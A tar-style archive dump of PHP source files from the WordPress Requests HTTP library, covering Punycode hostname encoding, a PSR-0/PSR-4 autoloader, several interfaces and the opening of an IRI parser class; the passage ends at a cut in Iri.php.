	const BOOTSTRAP_INITIAL_BIAS = 72;
	const BOOTSTRAP_INITIAL_N    = 128;
	/**#@-*/

	/**
	 * Encode a hostname using Punycode
	 *
	 * @param string|Stringable $hostname Hostname
	 * @return string Punycode-encoded hostname
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not a string or a stringable object.
	 */
	public static function encode($hostname) {
		if (InputValidator::is_string_or_stringable($hostname) === false) {
			throw InvalidArgument::create(1, '$hostname', 'string|Stringable', gettype($hostname));
		}

		$parts = explode('.', $hostname);
		foreach ($parts as &$part) {
			$part = self::to_ascii($part);
		}

		return implode('.', $parts);
	}

	/**
	 * Convert a UTF-8 text string to an ASCII string using Punycode
	 *
	 * @param string $text ASCII or UTF-8 string (max length 64 characters)
	 * @return string ASCII string
	 *
	 * @throws \WpOrg\Requests\Exception Provided string longer than 64 ASCII characters (`idna.provided_too_long`)
	 * @throws \WpOrg\Requests\Exception Prepared string longer than 64 ASCII characters (`idna.prepared_too_long`)
	 * @throws \WpOrg\Requests\Exception Provided string already begins with xn-- (`idna.provided_is_prefixed`)
	 * @throws \WpOrg\Requests\Exception Encoded string longer than 64 ASCII characters (`idna.encoded_too_long`)
	 */
	public static function to_ascii($text) {
		// Step 1: Check if the text is already ASCII
		if (self::is_ascii($text)) {
			// Skip to step 7
			if (strlen($text) < self::MAX_LENGTH) {
				return $text;
			}

			throw new Exception('Provided string is too long', 'idna.provided_too_long', $text);
		}

		// Step 2: nameprep
		$text = self::nameprep($text);

		// Step 3: UseSTD3ASCIIRules is false, continue
		// Step 4: Check if it's ASCII now
		if (self::is_ascii($text)) {
			// Skip to step 7
			/*
			 * As the `nameprep()` method returns the original string, this code will never be reached until
			 * that method is properly implemented.
			 */
			// @codeCoverageIgnoreStart
			if (strlen($text) < self::MAX_LENGTH) {
				return $text;
			}

			throw new Exception('Prepared string is too long', 'idna.prepared_too_long', $text);
			// @codeCoverageIgnoreEnd
		}

		// Step 5: Check ACE prefix
		if (strpos($text, self::ACE_PREFIX) === 0) {
			throw new Exception('Provided string begins with ACE prefix', 'idna.provided_is_prefixed', $text);
		}

		// Step 6: Encode with Punycode
		$text = self::punycode_encode($text);

		// Step 7: Prepend ACE prefix
		$text = self::ACE_PREFIX . $text;

		// Step 8: Check size
		if (strlen($text) < self::MAX_LENGTH) {
			return $text;
		}

		throw new Exception('Encoded string is too long', 'idna.encoded_too_long', $text);
	}

	/**
	 * Check whether a given text string contains only ASCII characters
	 *
	 * @internal (Testing found regex was the fastest implementation)
	 *
	 * @param string $text Text to examine.
	 * @return bool Is the text string ASCII-only?
	 */
	protected static function is_ascii($text) {
		return (preg_match('/(?:[^\x00-\x7F])/', $text) !== 1);
	}

	/**
	 * Prepare a text string for use as an IDNA name
	 *
	 * @todo Implement this based on RFC 3491 and the newer 5891
	 * @param string $text Text to prepare.
	 * @return string Prepared string
	 */
	protected static function nameprep($text) {
		return $text;
	}

	/**
	 * Convert a UTF-8 string to a UCS-4 codepoint array
	 *
	 * Based on \WpOrg\Requests\Iri::replace_invalid_with_pct_encoding()
	 *
	 * @param string $input Text to convert.
	 * @return array Unicode code points
	 *
	 * @throws \WpOrg\Requests\Exception Invalid UTF-8 codepoint (`idna.invalidcodepoint`)
	 */
	protected static function utf8_to_codepoints($input) {
		$codepoints = [];

		// Get number of bytes
		$strlen = strlen($input);

		// phpcs:ignore Generic.CodeAnalysis.JumbledIncrementer -- This is a deliberate choice.
		for ($position = 0; $position < $strlen; $position++) {
			$value = ord($input[$position]);

			if ((~$value & 0x80) === 0x80) {            // One byte sequence:
				$character = $value;
				$length    = 1;
				$remaining = 0;
			} elseif (($value & 0xE0) === 0xC0) {       // Two byte sequence:
				$character = ($value & 0x1F) << 6;
				$length    = 2;
				$remaining = 1;
			} elseif (($value & 0xF0) === 0xE0) {       // Three byte sequence:
				$character = ($value & 0x0F) << 12;
				$length    = 3;
				$remaining = 2;
			} elseif (($value & 0xF8) === 0xF0) {       // Four byte sequence:
				$character = ($value & 0x07) << 18;
				$length    = 4;
				$remaining = 3;
			} else {                                    // Invalid byte:
				throw new Exception('Invalid Unicode codepoint', 'idna.invalidcodepoint', $value);
			}

			if ($remaining > 0) {
				if ($position + $length > $strlen) {
					throw new Exception('Invalid Unicode codepoint', 'idna.invalidcodepoint', $character);
				}

				for ($position++; $remaining > 0; $position++) {
					$value = ord($input[$position]);

					// If it is invalid, count the sequence as invalid and reprocess the current byte:
					if (($value & 0xC0) !== 0x80) {
						throw new Exception('Invalid Unicode codepoint', 'idna.invalidcodepoint', $character);
					}

					--$remaining;
					$character |= ($value & 0x3F) << ($remaining * 6);
				}

				$position--;
			}

			if (// Non-shortest form sequences are invalid
				$length > 1 && $character <= 0x7F
				|| $length > 2 && $character <= 0x7FF
				|| $length > 3 && $character <= 0xFFFF
				// Outside of range of ucschar codepoints
				// Noncharacters
				|| ($character & 0xFFFE) === 0xFFFE
				|| $character >= 0xFDD0 && $character <= 0xFDEF
				|| (
					// Everything else not in ucschar
					$character > 0xD7FF && $character < 0xF900
					|| $character < 0x20
					|| $character > 0x7E && $character < 0xA0
					|| $character > 0xEFFFD
				)
			) {
				throw new Exception('Invalid Unicode codepoint', 'idna.invalidcodepoint', $character);
			}

			$codepoints[] = $character;
		}

		return $codepoints;
	}

	/**
	 * RFC3492-compliant encoder
	 *
	 * @internal Pseudo-code from Section 6.3 is commented with "#" next to relevant code
	 *
	 * @param string $input UTF-8 encoded string to encode
	 * @return string Punycode-encoded string
	 *
	 * @throws \WpOrg\Requests\Exception On character outside of the domain (never happens with Punycode) (`idna.character_outside_domain`)
	 */
	public static function punycode_encode($input) {
		$output = '';
		// let n = initial_n
		$n = self::BOOTSTRAP_INITIAL_N;
		// let delta = 0
		$delta = 0;
		// let bias = initial_bias
		$bias = self::BOOTSTRAP_INITIAL_BIAS;
		// let h = b = the number of basic code points in the input
		$h = 0;
		$b = 0; // see loop
		// copy them to the output in order
		$codepoints = self::utf8_to_codepoints($input);
		$extended   = [];

		foreach ($codepoints as $char) {
			if ($char < 128) {
				// Character is valid ASCII
				// TODO: this should also check if it's valid for a URL
				$output .= chr($char);
				$h++;

				// Check if the character is non-ASCII, but below initial n
				// This never occurs for Punycode, so ignore in coverage
				// @codeCoverageIgnoreStart
			} elseif ($char < $n) {
				throw new Exception('Invalid character', 'idna.character_outside_domain', $char);
				// @codeCoverageIgnoreEnd
			} else {
				$extended[$char] = true;
			}
		}

		$extended = array_keys($extended);
		sort($extended);
		$b = $h;
		// [copy them] followed by a delimiter if b > 0
		if (strlen($output) > 0) {
			$output .= '-';
		}

		// {if the input contains a non-basic code point < n then fail}
		// while h < length(input) do begin
		$codepointcount = count($codepoints);
		while ($h < $codepointcount) {
			// let m = the minimum code point >= n in the input
			$m = array_shift($extended);
			//printf('next code point to insert is %s' . PHP_EOL, dechex($m));
			// let delta = delta + (m - n) * (h + 1), fail on overflow
			$delta += ($m - $n) * ($h + 1);
			// let n = m
			$n = $m;
			// for each code point c in the input (in order) do begin
			for ($num = 0; $num < $codepointcount; $num++) {
				$c = $codepoints[$num];
				// if c < n then increment delta, fail on overflow
				if ($c < $n) {
					$delta++;
				} elseif ($c === $n) { // if c == n then begin
					// let q = delta
					$q = $delta;
					// for k = base to infinity in steps of base do begin
					for ($k = self::BOOTSTRAP_BASE; ; $k += self::BOOTSTRAP_BASE) {
						// let t = tmin if k <= bias {+ tmin}, or
						//     tmax if k >= bias + tmax, or k - bias otherwise
						if ($k <= ($bias + self::BOOTSTRAP_TMIN)) {
							$t = self::BOOTSTRAP_TMIN;
						} elseif ($k >= ($bias + self::BOOTSTRAP_TMAX)) {
							$t = self::BOOTSTRAP_TMAX;
						} else {
							$t = $k - $bias;
						}

						// if q < t then break
						if ($q < $t) {
							break;
						}

						// output the code point for digit t + ((q - t) mod (base - t))
						$digit   = (int) ($t + (($q - $t) % (self::BOOTSTRAP_BASE - $t)));
						$output .= self::digit_to_char($digit);
						// let q = (q - t) div (base - t)
						$q = (int) floor(($q - $t) / (self::BOOTSTRAP_BASE - $t));
					} // end
					// output the code point for digit q
					$output .= self::digit_to_char($q);
					// let bias = adapt(delta, h + 1, test h equals b?)
					$bias = self::adapt($delta, $h + 1, $h === $b);
					// let delta = 0
					$delta = 0;
					// increment h
					$h++;
				} // end
			} // end
			// increment delta and n
			$delta++;
			$n++;
		} // end

		return $output;
	}

	/**
	 * Convert a digit to its respective character
	 *
	 * @link https://tools.ietf.org/html/rfc3492#section-5
	 *
	 * @param int $digit Digit in the range 0-35
	 * @return string Single character corresponding to digit
	 *
	 * @throws \WpOrg\Requests\Exception On invalid digit (`idna.invalid_digit`)
	 */
	protected static function digit_to_char($digit) {
		// @codeCoverageIgnoreStart
		// As far as I know, this never happens, but still good to be sure.
		if ($digit < 0 || $digit > 35) {
			throw new Exception(sprintf('Invalid digit %d', $digit), 'idna.invalid_digit', $digit);
		}

		// @codeCoverageIgnoreEnd
		$digits = 'abcdefghijklmnopqrstuvwxyz0123456789';
		return substr($digits, $digit, 1);
	}

	/**
	 * Adapt the bias
	 *
	 * @link https://tools.ietf.org/html/rfc3492#section-6.1
	 * @param int $delta
	 * @param int $numpoints
	 * @param bool $firsttime
	 * @return int|float New bias
	 *
	 * function adapt(delta,numpoints,firsttime):
	 */
	protected static function adapt($delta, $numpoints, $firsttime) {
		// if firsttime then let delta = delta div damp
		if ($firsttime) {
			$delta = floor($delta / self::BOOTSTRAP_DAMP);
		} else {
			// else let delta = delta div 2
			$delta = floor($delta / 2);
		}

		// let delta = delta + (delta div numpoints)
		$delta += floor($delta / $numpoints);
		// let k = 0
		$k = 0;
		// while delta > ((base - tmin) * tmax) div 2 do begin
		$max = floor(((self::BOOTSTRAP_BASE - self::BOOTSTRAP_TMIN) * self::BOOTSTRAP_TMAX) / 2);
		while ($delta > $max) {
			// let delta = delta div (base - tmin)
			$delta = floor($delta / (self::BOOTSTRAP_BASE - self::BOOTSTRAP_TMIN));
			// let k = k + base
			$k += self::BOOTSTRAP_BASE;
		} // end
		// return k + (((base - tmin + 1) * delta) div (delta + skew))
		return $k + floor(((self::BOOTSTRAP_BASE - self::BOOTSTRAP_TMIN + 1) * $delta) / ($delta + self::BOOTSTRAP_SKEW));
	}
}
Autoload.php000064400000022167152223033010007024 0ustar00<?php
/**
 * Autoloader for Requests for PHP.
 *
 * Include this file if you'd like to avoid having to create your own autoloader.
 *
 * @package Requests
 * @since   2.0.0
 *
 * @codeCoverageIgnore
 */

namespace WpOrg\Requests;

/*
 * Ensure the autoloader is only declared once.
 * This safeguard is in place as this is the typical entry point for this library
 * and this file being required unconditionally could easily cause
 * fatal "Class already declared" errors.
 */
if (class_exists('WpOrg\Requests\Autoload') === false) {

	/**
	 * Autoloader for Requests for PHP.
	 *
	 * This autoloader supports the PSR-4 based Requests 2.0.0 classes in a case-sensitive manner
	 * as the most common server OS-es are case-sensitive and the file names are in mixed case.
	 *
	 * For the PSR-0 Requests 1.x BC-layer, requested classes will be treated case-insensitively.
	 *
	 * @package Requests
	 */
	final class Autoload {

		/**
		 * List of the old PSR-0 class names in lowercase as keys with their PSR-4 case-sensitive name as a value.
		 *
		 * @var array
		 */
		private static $deprecated_classes = [
			// Interfaces.
			'requests_auth'                              => '\WpOrg\Requests\Auth',
			'requests_hooker'                            => '\WpOrg\Requests\HookManager',
			'requests_proxy'                             => '\WpOrg\Requests\Proxy',
			'requests_transport'                         => '\WpOrg\Requests\Transport',

			// Classes.
			'requests_cookie'                            => '\WpOrg\Requests\Cookie',
			'requests_exception'                         => '\WpOrg\Requests\Exception',
			'requests_hooks'                             => '\WpOrg\Requests\Hooks',
			'requests_idnaencoder'                       => '\WpOrg\Requests\IdnaEncoder',
			'requests_ipv6'                              => '\WpOrg\Requests\Ipv6',
			'requests_iri'                               => '\WpOrg\Requests\Iri',
			'requests_response'                          => '\WpOrg\Requests\Response',
			'requests_session'                           => '\WpOrg\Requests\Session',
			'requests_ssl'                               => '\WpOrg\Requests\Ssl',
			'requests_auth_basic'                        => '\WpOrg\Requests\Auth\Basic',
			'requests_cookie_jar'                        => '\WpOrg\Requests\Cookie\Jar',
			'requests_proxy_http'                        => '\WpOrg\Requests\Proxy\Http',
			'requests_response_headers'                  => '\WpOrg\Requests\Response\Headers',
			'requests_transport_curl'                    => '\WpOrg\Requests\Transport\Curl',
			'requests_transport_fsockopen'               => '\WpOrg\Requests\Transport\Fsockopen',
			'requests_utility_caseinsensitivedictionary' => '\WpOrg\Requests\Utility\CaseInsensitiveDictionary',
			'requests_utility_filterediterator'          => '\WpOrg\Requests\Utility\FilteredIterator',
			'requests_exception_http'                    => '\WpOrg\Requests\Exception\Http',
			'requests_exception_transport'               => '\WpOrg\Requests\Exception\Transport',
			'requests_exception_transport_curl'          => '\WpOrg\Requests\Exception\Transport\Curl',
			'requests_exception_http_304'                => '\WpOrg\Requests\Exception\Http\Status304',
			'requests_exception_http_305'                => '\WpOrg\Requests\Exception\Http\Status305',
			'requests_exception_http_306'                => '\WpOrg\Requests\Exception\Http\Status306',
			'requests_exception_http_400'                => '\WpOrg\Requests\Exception\Http\Status400',
			'requests_exception_http_401'                => '\WpOrg\Requests\Exception\Http\Status401',
			'requests_exception_http_402'                => '\WpOrg\Requests\Exception\Http\Status402',
			'requests_exception_http_403'                => '\WpOrg\Requests\Exception\Http\Status403',
			'requests_exception_http_404'                => '\WpOrg\Requests\Exception\Http\Status404',
			'requests_exception_http_405'                => '\WpOrg\Requests\Exception\Http\Status405',
			'requests_exception_http_406'                => '\WpOrg\Requests\Exception\Http\Status406',
			'requests_exception_http_407'                => '\WpOrg\Requests\Exception\Http\Status407',
			'requests_exception_http_408'                => '\WpOrg\Requests\Exception\Http\Status408',
			'requests_exception_http_409'                => '\WpOrg\Requests\Exception\Http\Status409',
			'requests_exception_http_410'                => '\WpOrg\Requests\Exception\Http\Status410',
			'requests_exception_http_411'                => '\WpOrg\Requests\Exception\Http\Status411',
			'requests_exception_http_412'                => '\WpOrg\Requests\Exception\Http\Status412',
			'requests_exception_http_413'                => '\WpOrg\Requests\Exception\Http\Status413',
			'requests_exception_http_414'                => '\WpOrg\Requests\Exception\Http\Status414',
			'requests_exception_http_415'                => '\WpOrg\Requests\Exception\Http\Status415',
			'requests_exception_http_416'                => '\WpOrg\Requests\Exception\Http\Status416',
			'requests_exception_http_417'                => '\WpOrg\Requests\Exception\Http\Status417',
			'requests_exception_http_418'                => '\WpOrg\Requests\Exception\Http\Status418',
			'requests_exception_http_428'                => '\WpOrg\Requests\Exception\Http\Status428',
			'requests_exception_http_429'                => '\WpOrg\Requests\Exception\Http\Status429',
			'requests_exception_http_431'                => '\WpOrg\Requests\Exception\Http\Status431',
			'requests_exception_http_500'                => '\WpOrg\Requests\Exception\Http\Status500',
			'requests_exception_http_501'                => '\WpOrg\Requests\Exception\Http\Status501',
			'requests_exception_http_502'                => '\WpOrg\Requests\Exception\Http\Status502',
			'requests_exception_http_503'                => '\WpOrg\Requests\Exception\Http\Status503',
			'requests_exception_http_504'                => '\WpOrg\Requests\Exception\Http\Status504',
			'requests_exception_http_505'                => '\WpOrg\Requests\Exception\Http\Status505',
			'requests_exception_http_511'                => '\WpOrg\Requests\Exception\Http\Status511',
			'requests_exception_http_unknown'            => '\WpOrg\Requests\Exception\Http\StatusUnknown',
		];

		/**
		 * Register the autoloader.
		 *
		 * Note: the autoloader is *prepended* in the autoload queue.
		 * This is done to ensure that the Requests 2.0 autoloader takes precedence
		 * over a potentially (dependency-registered) Requests 1.x autoloader.
		 *
		 * @internal This method contains a safeguard against the autoloader being
		 * registered multiple times. This safeguard uses a global constant to
		 * (hopefully/in most cases) still function correctly, even if the
		 * class would be renamed.
		 *
		 * @return void
		 */
		public static function register() {
			if (defined('REQUESTS_AUTOLOAD_REGISTERED') === false) {
				spl_autoload_register([self::class, 'load'], true);
				define('REQUESTS_AUTOLOAD_REGISTERED', true);
			}
		}

		/**
		 * Autoloader.
		 *
		 * @param string $class_name Name of the class name to load.
		 *
		 * @return bool Whether a class was loaded or not.
		 */
		public static function load($class_name) {
			// Check that the class starts with "Requests" (PSR-0) or "WpOrg\Requests" (PSR-4).
			$psr_4_prefix_pos = strpos($class_name, 'WpOrg\\Requests\\');

			if (stripos($class_name, 'Requests') !== 0 && $psr_4_prefix_pos !== 0) {
				return false;
			}

			$class_lower = strtolower($class_name);

			if ($class_lower === 'requests') {
				// Reference to the original PSR-0 Requests class.
				$file = dirname(__DIR__) . '/library/Requests.php';
			} elseif ($psr_4_prefix_pos === 0) {
				// PSR-4 classname.
				$file = __DIR__ . '/' . strtr(substr($class_name, 15), '\\', '/') . '.php';
			}

			if (isset($file) && file_exists($file)) {
				include $file;
				return true;
			}

			/*
			 * Okay, so the class starts with "Requests", but we couldn't find the file.
			 * If this is one of the deprecated/renamed PSR-0 classes being requested,
			 * let's alias it to the new name and throw a deprecation notice.
			 */
			if (isset(self::$deprecated_classes[$class_lower])) {
				/*
				 * Integrators who cannot yet upgrade to the PSR-4 class names can silence deprecations
				 * by defining a `REQUESTS_SILENCE_PSR0_DEPRECATIONS` constant and setting it to `true`.
				 * The constant needs to be defined before the first deprecated class is requested
				 * via this autoloader.
				 */
				if (!defined('REQUESTS_SILENCE_PSR0_DEPRECATIONS') || REQUESTS_SILENCE_PSR0_DEPRECATIONS !== true) {
					// phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_trigger_error
					trigger_error(
						'The PSR-0 `Requests_...` class names in the Requests library are deprecated.'
						. ' Switch to the PSR-4 `WpOrg\Requests\...` class names at your earliest convenience.',
						E_USER_DEPRECATED
					);

					// Prevent the deprecation notice from being thrown twice.
					if (!defined('REQUESTS_SILENCE_PSR0_DEPRECATIONS')) {
						define('REQUESTS_SILENCE_PSR0_DEPRECATIONS', true);
					}
				}

				// Create an alias and let the autoloader recursively kick in to load the PSR-4 class.
				return class_alias(self::$deprecated_classes[$class_lower], $class_name, true);
			}

			return false;
		}
	}
}
Auth.php000064400000001534152223033010006150 0ustar00<?php
/**
 * Authentication provider interface
 *
 * @package Requests\Authentication
 */

namespace WpOrg\Requests;

use WpOrg\Requests\Hooks;

/**
 * Authentication provider interface
 *
 * Implement this interface to act as an authentication provider.
 *
 * Parameters should be passed via the constructor where possible, as this
 * makes it much easier for users to use your provider.
 *
 * @see \WpOrg\Requests\Hooks
 *
 * @package Requests\Authentication
 */
interface Auth {
	/**
	 * Register hooks as needed
	 *
	 * This method is called in {@see \WpOrg\Requests\Requests::request()} when the user
	 * has set an instance as the 'auth' option. Use this callback to register all the
	 * hooks you'll need.
	 *
	 * @see \WpOrg\Requests\Hooks::register()
	 * @param \WpOrg\Requests\Hooks $hooks Hook system
	 */
	public function register(Hooks $hooks);
}
HookManager.php000064400000001305152223033010007436 0ustar00<?php
/**
 * Event dispatcher
 *
 * @package Requests\EventDispatcher
 */

namespace WpOrg\Requests;

/**
 * Event dispatcher
 *
 * @package Requests\EventDispatcher
 */
interface HookManager {
	/**
	 * Register a callback for a hook
	 *
	 * @param string $hook Hook name
	 * @param callable $callback Function/method to call on event
	 * @param int $priority Priority number. <0 is executed earlier, >0 is executed later
	 */
	public function register($hook, $callback, $priority = 0);

	/**
	 * Dispatch a message
	 *
	 * @param string $hook Hook name
	 * @param array $parameters Parameters to pass to callbacks
	 * @return boolean Successfulness
	 */
	public function dispatch($hook, $parameters = []);
}
Proxy.php000064400000001543152223033010006370 0ustar00<?php
/**
 * Proxy connection interface
 *
 * @package Requests\Proxy
 * @since   1.6
 */

namespace WpOrg\Requests;

use WpOrg\Requests\Hooks;

/**
 * Proxy connection interface
 *
 * Implement this interface to handle proxy settings and authentication
 *
 * Parameters should be passed via the constructor where possible, as this
 * makes it much easier for users to use your provider.
 *
 * @see \WpOrg\Requests\Hooks
 *
 * @package Requests\Proxy
 * @since   1.6
 */
interface Proxy {
	/**
	 * Register hooks as needed
	 *
	 * This method is called in {@see \WpOrg\Requests\Requests::request()} when the user
	 * has set an instance as the 'auth' option. Use this callback to register all the
	 * hooks you'll need.
	 *
	 * @see \WpOrg\Requests\Hooks::register()
	 * @param \WpOrg\Requests\Hooks $hooks Hook system
	 */
	public function register(Hooks $hooks);
}
Transport.php000064400000003010152223033010007232 0ustar00<?php
/**
 * Base HTTP transport
 *
 * @package Requests\Transport
 */

namespace WpOrg\Requests;

/**
 * Base HTTP transport
 *
 * @package Requests\Transport
 */
interface Transport {
	/**
	 * Perform a request
	 *
	 * @param string $url URL to request
	 * @param array $headers Associative array of request headers
	 * @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD
	 * @param array $options Request options, see {@see \WpOrg\Requests\Requests::response()} for documentation
	 * @return string Raw HTTP result
	 */
	public function request($url, $headers = [], $data = [], $options = []);

	/**
	 * Send multiple requests simultaneously
	 *
	 * @param array $requests Request data (array of 'url', 'headers', 'data', 'options') as per {@see \WpOrg\Requests\Transport::request()}
	 * @param array $options Global options, see {@see \WpOrg\Requests\Requests::response()} for documentation
	 * @return array Array of \WpOrg\Requests\Response objects (may contain \WpOrg\Requests\Exception or string responses as well)
	 */
	public function request_multiple($requests, $options);

	/**
	 * Self-test whether the transport can be used.
	 *
	 * The available capabilities to test for can be found in {@see \WpOrg\Requests\Capability}.
	 *
	 * @param array<string, bool> $capabilities Optional. Associative array of capabilities to test against, i.e. `['<capability>' => true]`.
	 * @return bool Whether the transport can be used.
	 */
	public static function test($capabilities = []);
}
Iri.php000064400000071666152223033010006007 0ustar00<?php
/**
 * IRI parser/serialiser/normaliser
 *
 * @package Requests\Utilities
 */

namespace WpOrg\Requests;

use WpOrg\Requests\Exception;
use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Ipv6;
use WpOrg\Requests\Port;
use WpOrg\Requests\Utility\InputValidator;

/**
 * IRI parser/serialiser/normaliser
 *
 * Copyright (c) 2007-2010, Geoffrey Sneddon and Steve Minutillo.
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions are met:
 *
 *  * Redistributions of source code must retain the above copyright notice,
 *       this list of conditions and the following disclaimer.
 *
 *  * Redistributions in binary form must reproduce the above copyright notice,
 *       this list of conditions and the following disclaimer in the documentation
 *       and/or other materials provided with the distribution.
 *
 *  * Neither the name of the SimplePie Team nor the names of its contributors
 *       may be used to endorse or promote products derived from this software
 *       without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
 * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS AND CONTRIBUTORS BE
 * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
 * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
 * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
 * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
 * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package Requests\Utilities
 * @author Geoffrey Sneddon
 * @author Steve Minutillo
 * @copyright 2007-2009 Geoffrey Sneddon and Steve Minutillo
 * @license https://opensource.org/licenses/bsd-license.php
 * @link http://hg.gsnedders.com/iri/
 *
 * @property string $iri IRI we're working with
 * @property-read string $uri IRI in URI form, {@see \WpOrg\Requests\Iri::to_uri()}
 * @property string $scheme Scheme part of the IRI
 * @property string $authority Authority part, formatted for a URI (userinfo + host + port)
 * @property string $iauthority Authority part of the IRI (userinfo + host + port)
 * @property string $userinfo Userinfo part, formatted for a URI (after '://' and before '@')
 * @property string $iuserinfo Userinfo part of the IRI (after '://' and before '@')
 * @property string $host Host part, formatted for a URI
 * @property string $ihost Host part of the IRI
 * @property string $port Port part of the IRI (after ':')
 * @property string $path Path part, formatted for a URI (after first '/')
 * @property string $ipath Path part of the IRI (after first '/')
 * @property string $query Query part, formatted for a URI (after '?')
 * @property string $iquery Query part of the IRI (after '?')
 * @property string $fragment Fragment, formatted for a URI (after '#')
 * @property string $ifragment Fragment part of the IRI (after '#')
 */
class Iri {
	/**
	 * Scheme
	 *
	 * @var string|null
	 */
	protected $scheme = null;

	/**
	 * User Information
	 *
	 * @var string|null
	 */
	protected $iuserinfo = null;

	/**
	 * ihost
	 *
	 * @var string|null
	 */
	protected $ihost = null;

	/**
	 * Port
	 *
	 * @var string|null
	 */
	protected $port = null;

	/**
	 * ipath
	 *
	 * @var string
	 */
	protected $ipath = '';

	/**
	 * iquery
	 *
	 * @var string|null
	 */
	protected $iquery = null;

	/**
	 * ifragment|null
	 *
	 * @var string
	 */
	protected $ifragment = null;

	/**
	 * Normalization database
	 *
	 * Each key is the scheme, each value is an array with each key as the IRI
	 * part and value as the default value for that part.
	 *
	 * @var array
	 */
	protected $normalization = array(
		'acap' => array(
			'port' => Port::ACAP,
		),
		'dict' => array(
			'port' => Port::DICT,
		),
		'file' => array(
			'ihost' => 'localhost',
		),
		'http' => array(
			'port' => Port::HTTP,
		),
		'https' => array(
			'port' => Port::HTTPS,
		),
	);

	/**
	 * Return the entire IRI when you try and read the object as a string
	 *
	 * @return string
	 */
	public function __toString() {
		return $this->get_iri();
	}

	/**
	 * Overload __set() to provide access via properties
	 *
	 * @param string $name Property name
	 * @param mixed $value Property value
	 */
	public function __set($name, $value) {
		if (method_exists($this, 'set_' . $name)) {
			call_user_func(array($this, 'set_' . $name), $value);
		}
		elseif (
			   $name === 'iauthority'
			|| $name === 'iuserinfo'
			|| $name === 'ihost'
			|| $name === 'ipath'
			|| $name === 'iquery'
			|| $name === 'ifragment'
		) {
			call_user_func(array($this, 'set_' . substr($name, 1)), $value);
		}
	}

	/**
	 * Overload __get() to provide access via properties
	 *
	 * @param string $name Property name
	 * @return mixed
	 */
	public function __get($name) {
		// isset() returns false for null, we don't want to do that
		// Also why we use array_key_exists below instead of isset()
		$props = get_object_vars($this);

		if (
			$name === 'iri' ||
			$name === 'uri' ||
			$name === 'iauthority' ||
			$name === 'authority'
		) {
			$method = 'get_' . $name;
			$return = $this->$method();
		}
		elseif (array_key_exists($name, $props)) {
			$return = $this->$name;
		}
		// host -> ihost
		elseif (($prop = 'i' . $name) && array_key_exists($prop, $props)) {
			$name = $prop;
			$return = $this->$prop;
		}
		// ischeme -> scheme
		elseif (($prop = substr($name, 1)) && array_key_exists($prop, $props)) {
			$name = $prop;
			$return = $this->$prop;
		}
		else {
			trigger_error('Undefined property: ' . get_class($this) . '::' . $name, E_USER_NOTICE);
			$return = null;
		}

		if ($return === null && isset($this->normalization[$this->scheme][$name])) {
			return $this->normalization[$this->scheme][$name];
		}
		else {
			return $return;
		}
	}

	/**
	 * Overload __isset() to provide access via properties
	 *
	 * @param string $name Property name
	 * @return bool
	 */
	public function __isset($name) {
		return (method_exists($this, 'get_' . $name) || isset($this->$name));
	}

	/**
	 * Overload __unset() to provide access via properties
	 *
	 * @param string $name Property name
	 */
	public function __unset($name) {
		if (method_exists($this, 'set_' . $name)) {
			call_user_func(array($this, 'set_' . $name), '');
		}
	}

	/**
	 * Create a new IRI object, from a specified string
	 *
	 * @param string|Stringable|null $iri
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $iri argument is not a string, Stringable or null.
	 */
	public function __construct($iri = null) {
		if ($iri !== null && InputValidator::is_string_or_stringable($iri) === false) {
			throw InvalidArgument::create(1, '$iri', 'string|Stringable|null', gettype($iri));
		}

		$this->set_iri($iri);
	}

	/**
	 * Create a new IRI object by resolving a relative IRI
	 *
	 * Returns false if $base is not absolute, otherwise an IRI.
	 *
	 * @param \WpOrg\Requests\Iri|string $base (Absolute) Base IRI
	 * @param \WpOrg\Requests\Iri|string $relative Relative IRI
	 * @return \WpOrg\Requests\Iri|false
	 */
	public static function absolutize($base, $relative) {
		if (!($relative instanceof self)) {
			$relative = new self($relative);
		}
		if (!$relative->is_valid()) {
			return false;
		}
		elseif ($relative->scheme !== null) {
			return clone $relative;
		}

		if (!($base instanceof self)) {
			$base = new self($base);
		}
		if ($base->scheme === null || !$base->is_valid()) {
			return false;
		}

		if ($relative->get_iri() !== '') {
			if ($relative->iuserinfo !== null || $relative->ihost !== null || $relative->port !== null) {
				$target = clone $relative;
				$target->scheme = $base->scheme;
			}
			else {
				$target = new self;
				$target->scheme = $base->scheme;
				$target->iuserinfo = $base->iuserinfo;
				$target->ihost = $base->ihost;
				$target->port = $base->port;
				if ($relative->ipath !== '') {
					if ($relative->ipath[0] === '/') {
						$target->ipath = $relative->ipath;
					}
					elseif (($base->iuserinfo !== null || $base->ihost !== null || $base->port !== null) && $base->ipath === '') {
						$target->ipath = '/' . $relative->ipath;
					}
					elseif (($last_segment = strrpos($base->ipath, '/')) !== false) {
						$target->ipath = substr($base->ipath, 0, $last_segment + 1) . $relative->ipath;
					}
					else {
						$target->ipath = $relative->ipath;
					}
					$target->ipath = $target->remove_dot_segments($target->ipath);
					$target->iquery = $relative->iquery;
				}
				else {
					$target->ipath = $base->ipath;
					if ($relative->iquery !== null) {
						$target->iquery = $relative->iquery;
					}
					elseif ($base->iquery !== null) {
						$target->iquery = $base->iquery;
					}
				}
				$target->ifragment = $relative->ifragment;
			}
		}
		else {
			$target = clone $base;
			$target->ifragment = null;
